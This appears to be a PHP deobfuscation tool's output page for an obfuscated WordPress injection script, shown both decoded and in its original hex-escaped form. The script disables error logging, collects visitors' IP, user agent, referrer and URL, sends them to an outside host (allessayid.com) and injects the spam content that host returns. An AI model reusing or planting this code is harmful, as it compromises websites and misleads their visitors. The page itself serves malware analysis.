Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4cO\x42ALS"}["\x6cv\x74i\x64\x64\x63\x66"] = "\x63\x6fnte\x6e\x74"; ${"G\x4c\..

Decoded Output download

<?php ${"GLOBALS"}["lvtiddcf"] = "content"; 
${"GLOBALS"}["ooslyxxthgo"] = "alldata"; 
${"GLOBALS"}["ktqsbgiq"] = "A"; 
${"GLOBALS"}["ctqnpxhll"] = "tmp"; 
${"GLOBALS"}["rvytpqaj"] = "UA"; 
${"GLOBALS"}["hfcpbfpnm"] = "U"; 
$exydkdnkkf = "U"; 
${"GLOBALS"}["xjpjhql"] = "R"; 
${"GLOBALS"}["qjgrbdhb"] = "wppage"; 
${"GLOBALS"}["ttwytfpvqe"] = "UA"; 
${"GLOBALS"}["vqhkcili"] = "permalink"; 
${"GLOBALS"}["ikoyochvp"] = "post_data"; 
${"GLOBALS"}["fkwcthavbsy"] = "data"; 
$vestsogrj = "sub"; 
${"GLOBALS"}["heiktpy"] = "ch"; 
${"GLOBALS"}["jvdcnki"] = "url"; 
${"GLOBALS"}["jfbvhwt"] = "sub"; 
@ini_set("error_log", NULL); 
@ini_set("log_errors", 0); 
${"GLOBALS"}["yttqojjnw"] = "A"; 
${"GLOBALS"}["vgkgfnlu"] = "U"; 
@ini_set("max_execution_time", 0); 
@error_reporting(0); 
${"GLOBALS"}["puxsmsee"] = "R"; 
@set_time_limit(0); 
${${"GLOBALS"}["jfbvhwt"]} = "22"; 
if (ini_get("allow_url_fopen")) { 
    function gets_data_yo($url) 
    { 
        $qiepounmdxr = "data"; 
        $jrjvjgrsdgff = "data"; 
        ${$jrjvjgrsdgff} = file_get_contents(${${"GLOBALS"}["jvdcnki"]}); 
        return ${$qiepounmdxr}; 
    } 
} else { 
    function gets_data_yo($url) 
    { 
        ${${"GLOBALS"}["heiktpy"]} = curl_init(); 
        curl_setopt(${${"GLOBALS"}["heiktpy"]}, CURLOPT_HEADER, 0); 
        curl_setopt(${${"GLOBALS"}["heiktpy"]}, CURLOPT_RETURNTRANSFER, 1); 
        ${"GLOBALS"}["gfjpffbpz"] = "ch"; 
        curl_setopt(${${"GLOBALS"}["gfjpffbpz"]}, CURLOPT_URL, ${${"GLOBALS"}["jvdcnki"]}); 
        curl_setopt(${${"GLOBALS"}["heiktpy"]}, CURLOPT_CONNECTTIMEOUT, 8); 
        ${${"GLOBALS"}["fkwcthavbsy"]} = curl_exec(${${"GLOBALS"}["heiktpy"]}); 
        curl_close(${${"GLOBALS"}["heiktpy"]}); 
        return ${${"GLOBALS"}["fkwcthavbsy"]}; 
    } 
} 
if (isset($_GET["gettemp"])) { 
    ${"GLOBALS"}["tuvbpdyicqq"] = "post_data"; 
    ${"GLOBALS"}["awhkiybwe"] = "permalink"; 
    ${"GLOBALS"}["kmxasbhilft"] = "post_id"; 
    ${"GLOBALS"}["mytuesktsr"] = "post_id"; 
    ${${"GLOBALS"}["tuvbpdyicqq"]} = array("post_title" => "HEREISTITLE", "post_name" => "59075" . rand(100000000, 900000000), "post_content" => "HEREISCONTENT", "post_status" => "publish", "post_category" => array()); 
    $tnrbfxn = "testpermalink"; 
    ${"GLOBALS"}["dbxgam"] = "wppage"; 
    ${"GLOBALS"}["lrqxzvxqtd"] = "wppage"; 
    $eoutzvai = "post_id"; 
    ${$eoutzvai} = wp_insert_post(${${"GLOBALS"}["ikoyochvp"]}, true); 
    ${${"GLOBALS"}["vqhkcili"]} = get_permalink(${${"GLOBALS"}["kmxasbhilft"]}); 
    ${$tnrbfxn} = explode("/", ${${"GLOBALS"}["vqhkcili"]}); 
    ${${"GLOBALS"}["dbxgam"]} = gets_data_yo(${${"GLOBALS"}["vqhkcili"]}); 
    ${${"GLOBALS"}["qjgrbdhb"]} = str_ireplace(${${"GLOBALS"}["awhkiybwe"]}, "#", ${${"GLOBALS"}["lrqxzvxqtd"]}); 
    if (!wp_delete_post(${${"GLOBALS"}["mytuesktsr"]}, true)) { 
        $wvteoavfaf = "post_id"; 
        wp_delete_post(${$wvteoavfaf}, true); 
    } 
    die("<TEMPLATE>" . base64_encode(base64_encode(${${"GLOBALS"}["qjgrbdhb"]})) . "</TEMPLATE>"); 
} 
${${"GLOBALS"}["vgkgfnlu"]} = $_SERVER["REQUEST_URI"]; 
${${"GLOBALS"}["xjpjhql"]} = urlencode(@$_SERVER["HTTP_REFERER"]); 
if (!empty($_SERVER["HTTP_USER_AGENT"])) { 
    $asrqddtff = "UA"; 
    ${$asrqddtff} = $_SERVER["HTTP_USER_AGENT"]; 
} else { 
    ${${"GLOBALS"}["rvytpqaj"]} = ""; 
} 
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { 
    ${${"GLOBALS"}["ctqnpxhll"]} = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); 
    ${${"GLOBALS"}["ktqsbgiq"]} = trim(${${"GLOBALS"}["ctqnpxhll"]}[0]); 
} else { 
    ${"GLOBALS"}["hzoinqlr"] = "A"; 
    ${${"GLOBALS"}["hzoinqlr"]} = $_SERVER["REMOTE_ADDR"]; 
} 
${${"GLOBALS"}["ooslyxxthgo"]} = ${${"GLOBALS"}["ttwytfpvqe"]} . "|||" . $_SERVER["HTTP_HOST"] . "|||" . ${${"GLOBALS"}["yttqojjnw"]} . "|||" . ${${"GLOBALS"}["puxsmsee"]} . "|||" . ${${"GLOBALS"}["hfcpbfpnm"]} . "|||" . ${$vestsogrj}; 
if (!preg_match("/59075/", ${$exydkdnkkf})) { 
    ${"GLOBALS"}["fiiqkrk"] = "U"; 
    if (preg_match("/work|blog|id|topic|viewtopic|course|colleges|learn|page|forum/", ${${"GLOBALS"}["fiiqkrk"]})) { 
        $yhfkpae = "URL"; 
        ${"GLOBALS"}["txskltkpcp"] = "sub"; 
        ${"GLOBALS"}["qfkgdycrisp"] = "URL"; 
        $fytglrmme = "alldata"; 
        ${$yhfkpae} = "http://allessayid.com/" . ${${"GLOBALS"}["txskltkpcp"]} . "/index.php?"; 
        ${${"GLOBALS"}["ooslyxxthgo"]} = gets_data_yo(${${"GLOBALS"}["qfkgdycrisp"]} . "x=" . base64_encode(base64_encode(${$fytglrmme}))); 
        ${${"GLOBALS"}["lvtiddcf"]} = explode("-=+==============+=-", ${${"GLOBALS"}["ooslyxxthgo"]}); 
        if (!empty(${${"GLOBALS"}["lvtiddcf"]}[1])) { 
            $mmkjnpfoe = "content"; 
            die(${$mmkjnpfoe}[1]); 
        } 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php ${"G\x4cO\x42ALS"}["\x6cv\x74i\x64\x64\x63\x66"] = "\x63\x6fnte\x6e\x74";
${"G\x4c\x4fBALS"}["\x6fo\x73\x6c\x79\x78xt\x68\x67\x6f"] = "\x61\x6cl\x64\x61ta";
${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x74\x71s\x62\x67\x69\x71"] = "A";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x74\x71n\x70\x78\x68\x6cl"] = "\x74\x6dp";
${"GLOB\x41\x4c\x53"}["\x72\x76\x79\x74\x70\x71\x61\x6a"] = "U\x41";
${"G\x4c\x4f\x42AL\x53"}["\x68\x66\x63pb\x66\x70n\x6d"] = "\x55";
$exydkdnkkf = "\x55";
${"\x47\x4c\x4f\x42A\x4cS"}["\x78\x6a\x70j\x68\x71l"] = "R";
${"G\x4c\x4f\x42\x41\x4c\x53"}["q\x6ag\x72b\x64h\x62"] = "w\x70\x70\x61\x67\x65";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["t\x74w\x79\x74\x66pv\x71\x65"] = "\x55\x41";
${"GL\x4fBAL\x53"}["\x76\x71h\x6b\x63\x69li"] = "\x70\x65\x72\x6da\x6cin\x6b";
${"G\x4c\x4f\x42A\x4c\x53"}["\x69k\x6fy\x6f\x63\x68v\x70"] = "p\x6f\x73\x74_\x64\x61t\x61";
${"\x47L\x4fB\x41LS"}["fk\x77\x63\x74\x68a\x76\x62\x73\x79"] = "\x64\x61t\x61";
$vestsogrj = "su\x62";
${"\x47\x4c\x4f\x42\x41LS"}["h\x65\x69\x6b\x74\x70y"] = "\x63\x68";
${"\x47LO\x42\x41L\x53"}["\x6a\x76\x64\x63\x6ek\x69"] = "\x75rl";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6af\x62\x76\x68\x77t"] = "\x73\x75b";
@ini_set("\x65\x72\x72\x6f\x72\x5fl\x6f\x67", NULL);
@ini_set("l\x6f\x67_\x65r\x72\x6f\x72s", 0);
${"GLOBA\x4cS"}["\x79\x74\x74q\x6f\x6aj\x6e\x77"] = "\x41";
${"GLOB\x41\x4c\x53"}["\x76\x67\x6b\x67fn\x6c\x75"] = "\x55";
@ini_set("m\x61\x78\x5fex\x65cu\x74\x69\x6fn_\x74\x69me", 0);
@error_reporting(0);
${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x75\x78s\x6d\x73\x65e"] = "\x52";
@set_time_limit(0);
${${"G\x4c\x4f\x42AL\x53"}["jf\x62vh\x77t"]} = "\x322";
if (ini_get("a\x6cl\x6f\x77\x5f\x75rl_fop\x65n")) {
    function gets_data_yo($url)
    {
        $qiepounmdxr = "\x64\x61\x74a";
        $jrjvjgrsdgff = "da\x74a";
        ${$jrjvjgrsdgff} = file_get_contents(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6av\x64\x63\x6e\x6b\x69"]});
        return ${$qiepounmdxr};
    }
} else {
    function gets_data_yo($url)
    {
        ${${"\x47\x4c\x4fBA\x4c\x53"}["\x68e\x69\x6b\x74\x70\x79"]} = curl_init();
        curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["h\x65\x69\x6b\x74p\x79"]}, CURLOPT_HEADER, 0);
        curl_setopt(${${"G\x4c\x4f\x42\x41L\x53"}["\x68\x65i\x6bt\x70\x79"]}, CURLOPT_RETURNTRANSFER, 1);
        ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67\x66j\x70\x66fbp\x7a"] = "ch";
        curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67\x66j\x70\x66\x66b\x70\x7a"]}, CURLOPT_URL, ${${"GLOB\x41LS"}["j\x76dc\x6e\x6b\x69"]});
        curl_setopt(${${"G\x4cO\x42\x41\x4c\x53"}["h\x65\x69k\x74p\x79"]}, CURLOPT_CONNECTTIMEOUT, 8);
        ${${"\x47\x4c\x4fB\x41LS"}["f\x6b\x77\x63tha\x76\x62\x73y"]} = curl_exec(${${"\x47L\x4fB\x41LS"}["he\x69\x6b\x74py"]});
        curl_close(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68e\x69k\x74\x70\x79"]});
        return ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x6b\x77ct\x68a\x76\x62s\x79"]};
    }
}
if (isset($_GET["g\x65\x74te\x6dp"])) {
    ${"G\x4cOB\x41LS"}["\x74\x75\x76bp\x64\x79\x69c\x71\x71"] = "\x70o\x73t_d\x61\x74\x61";
    ${"G\x4c\x4fB\x41LS"}["\x61w\x68\x6bi\x79\x62\x77\x65"] = "p\x65\x72\x6d\x61l\x69\x6e\x6b";
    ${"\x47\x4c\x4fB\x41\x4cS"}["k\x6dx\x61\x73\x62\x68\x69\x6cf\x74"] = "\x70\x6f\x73\x74_\x69d";
    ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x79t\x75\x65\x73k\x74\x73\x72"] = "\x70o\x73\x74\x5f\x69\x64";
    ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74uvb\x70d\x79\x69\x63\x71q"]} = array("p\x6f\x73\x74_\x74i\x74\x6ce" => "\x48\x45R\x45\x49ST\x49\x54LE", "\x70os\x74_\x6e\x61me" => "5\x39\x30\x375" . rand(100000000, 900000000), "\x70\x6fs\x74\x5fcon\x74\x65n\x74" => "\x48ER\x45\x49\x53CO\x4e\x54\x45N\x54", "\x70os\x74_\x73ta\x74\x75\x73" => "pub\x6c\x69sh", "p\x6f\x73t_\x63\x61te\x67\x6fr\x79" => array());
    $tnrbfxn = "t\x65\x73t\x70\x65\x72\x6da\x6c\x69\x6e\x6b";
    ${"\x47\x4c\x4fB\x41\x4cS"}["\x64\x62\x78\x67\x61m"] = "\x77p\x70\x61\x67\x65";
    ${"\x47\x4cO\x42\x41\x4cS"}["l\x72\x71xzvxqt\x64"] = "\x77p\x70\x61g\x65";
    $eoutzvai = "\x70\x6f\x73\x74\x5f\x69\x64";
    ${$eoutzvai} = wp_insert_post(${${"GL\x4f\x42AL\x53"}["\x69k\x6fyo\x63\x68v\x70"]}, true);
    ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x71\x68k\x63\x69l\x69"]} = get_permalink(${${"\x47\x4cOB\x41\x4c\x53"}["\x6bm\x78\x61\x73\x62\x68\x69\x6c\x66\x74"]});
    ${$tnrbfxn} = explode("/", ${${"\x47\x4cO\x42\x41\x4cS"}["v\x71hk\x63\x69\x6c\x69"]});
    ${${"\x47\x4c\x4f\x42ALS"}["\x64\x62x\x67a\x6d"]} = gets_data_yo(${${"\x47\x4c\x4fB\x41\x4cS"}["\x76qh\x6b\x63i\x6ci"]});
    ${${"GL\x4f\x42\x41LS"}["\x71jg\x72\x62\x64\x68\x62"]} = str_ireplace(${${"\x47LOB\x41LS"}["a\x77\x68\x6bi\x79\x62\x77e"]}, "\x23", ${${"GL\x4f\x42A\x4c\x53"}["\x6cr\x71\x78\x7a\x76\x78\x71t\x64"]});
    if (!wp_delete_post(${${"G\x4cO\x42\x41\x4cS"}["\x6d\x79tue\x73\x6bts\x72"]}, true)) {
        $wvteoavfaf = "\x70os\x74\x5f\x69d";
        wp_delete_post(${$wvteoavfaf}, true);
    }
    die("\x3c\x54\x45M\x50\x4c\x41T\x45\x3e" . base64_encode(base64_encode(${${"\x47L\x4fB\x41L\x53"}["\x71\x6a\x67\x72\x62\x64\x68\x62"]})) . "</\x54\x45\x4dPLA\x54\x45\x3e");
}
${${"\x47L\x4fB\x41\x4c\x53"}["\x76\x67k\x67\x66\x6e\x6c\x75"]} = $_SERVER["\x52\x45\x51UE\x53T_\x55\x52\x49"];
${${"G\x4c\x4fB\x41\x4c\x53"}["\x78j\x70\x6a\x68\x71\x6c"]} = urlencode(@$_SERVER["HT\x54P\x5f\x52E\x46\x45\x52E\x52"]);
if (!empty($_SERVER["\x48T\x54P_U\x53E\x52\x5fA\x47ENT"])) {
    $asrqddtff = "U\x41";
    ${$asrqddtff} = $_SERVER["H\x54\x54P\x5f\x55\x53\x45R\x5fAGEN\x54"];
} else {
    ${${"\x47\x4c\x4fB\x41\x4cS"}["r\x76\x79\x74\x70\x71a\x6a"]} = "";
}
if (isset($_SERVER["\x48\x54TP\x5fX\x5fF\x4fRW\x41RD\x45D\x5fF\x4f\x52"])) {
    ${${"\x47\x4cOB\x41\x4c\x53"}["\x63\x74qnpx\x68l\x6c"]} = explode(",", $_SERVER["\x48\x54TP_\x58\x5fFORW\x41R\x44\x45\x44\x5f\x46OR"]);
    ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6btq\x73\x62g\x69q"]} = trim(${${"GLO\x42\x41LS"}["\x63\x74q\x6e\x70\x78\x68\x6c\x6c"]}[0]);
} else {
    ${"\x47\x4c\x4fBA\x4c\x53"}["\x68\x7a\x6f\x69\x6e\x71\x6c\x72"] = "\x41";
    ${${"\x47\x4c\x4f\x42\x41LS"}["\x68\x7a\x6f\x69\x6eq\x6cr"]} = $_SERVER["REMOT\x45\x5f\x41DD\x52"];
}
${${"G\x4cO\x42A\x4c\x53"}["\x6f\x6f\x73\x6cy\x78xt\x68g\x6f"]} = ${${"\x47\x4c\x4fB\x41\x4cS"}["\x74\x74wy\x74\x66\x70vq\x65"]} . "|||" . $_SERVER["HT\x54P_\x48OST"] . "|||" . ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x74\x74qo\x6a\x6anw"]} . "|||" . ${${"\x47\x4cOBAL\x53"}["p\x75\x78\x73\x6d\x73e\x65"]} . "|||" . ${${"\x47\x4cOB\x41\x4cS"}["h\x66c\x70b\x66p\x6em"]} . "|||" . ${$vestsogrj};
if (!preg_match("/5\x39\x30\x375/", ${$exydkdnkkf})) {
    ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x69\x69\x71\x6b\x72\x6b"] = "U";
    if (preg_match("/\x77\x6f\x72\x6b|bl\x6fg|\x69\x64|\x74o\x70ic|view\x74op\x69\x63|c\x6furse|\x63\x6f\x6c\x6c\x65\x67es|l\x65\x61\x72n|\x70\x61\x67\x65|f\x6f\x72\x75m/", ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x66\x69i\x71\x6b\x72\x6b"]})) {
        $yhfkpae = "UR\x4c";
        ${"\x47\x4c\x4fB\x41L\x53"}["txs\x6b\x6c\x74\x6b\x70\x63\x70"] = "s\x75\x62";
        ${"G\x4cO\x42\x41\x4c\x53"}["q\x66\x6b\x67\x64\x79c\x72\x69\x73\x70"] = "U\x52\x4c";
        $fytglrmme = "\x61\x6c\x6c\x64at\x61";
        ${$yhfkpae} = "\x68\x74tp://a\x6c\x6c\x65s\x73ayi\x64.\x63o\x6d/" . ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x74\x78\x73k\x6ct\x6b\x70\x63\x70"]} . "/in\x64\x65x\x2ep\x68p?";
        ${${"\x47LO\x42\x41\x4c\x53"}["\x6f\x6f\x73\x6c\x79xx\x74\x68go"]} = gets_data_yo(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x71fk\x67\x64\x79c\x72i\x73\x70"]} . "x\x3d" . base64_encode(base64_encode(${$fytglrmme})));
        ${${"G\x4c\x4fB\x41L\x53"}["\x6c\x76\x74\x69\x64\x64\x63\x66"]} = explode("-=+\x3d\x3d\x3d\x3d\x3d===\x3d==\x3d\x3d=+=-", ${${"GLO\x42\x41L\x53"}["\x6fo\x73\x6c\x79\x78x\x74\x68g\x6f"]});
        if (!empty(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x76\x74\x69\x64\x64\x63f"]}[1])) {
            $mmkjnpfoe = "\x63\x6fn\x74e\x6e\x74";
            die(${$mmkjnpfoe}[1]);
        }
    }
}

Function Calls

ini_get 1
ini_set 3
set_time_limit 1
error_reporting 1

Variables

sub 22
GLOBALS [{'key': 'lvtiddcf', 'value': 'content'}, {'key': 'ooslyxxthgo', 'value': 'alldata'}, {'key': 'ktqsbgiq', 'value': 'A'}, {'key': 'ctqnpxhll', 'value': 'tmp'}, {'key': 'rvytpqaj', 'value': 'UA'}, {'key': 'hfcpbfpnm', 'value': 'U'}, {'key': 'xjpjhql', 'value': 'R'}, {'key': 'qjgrbdhb', 'value': 'wppage'}, {'key': 'ttwytfpvqe', 'value': 'UA'}, {'key': 'vqhkcili', 'value': 'permalink'}, {'key': 'ikoyochvp', 'value': 'post_data'}, {'key': 'fkwcthavbsy', 'value': 'data'}, {'key': 'heiktpy', 'value': 'ch'}, {'key': 'jvdcnki', 'value': 'url'}, {'key': 'jfbvhwt', 'value': 'sub'}, {'key': 'yttqojjnw', 'value': 'A'}, {'key': 'vgkgfnlu', 'value': 'U'}, {'key': 'puxsmsee', 'value': 'R'}]
$vestsogrj sub
$exydkdnkkf U

Stats

MD5 8df3cf145363002f01cfbb02998310fe
Eval Count 0
Decode Time 116 ms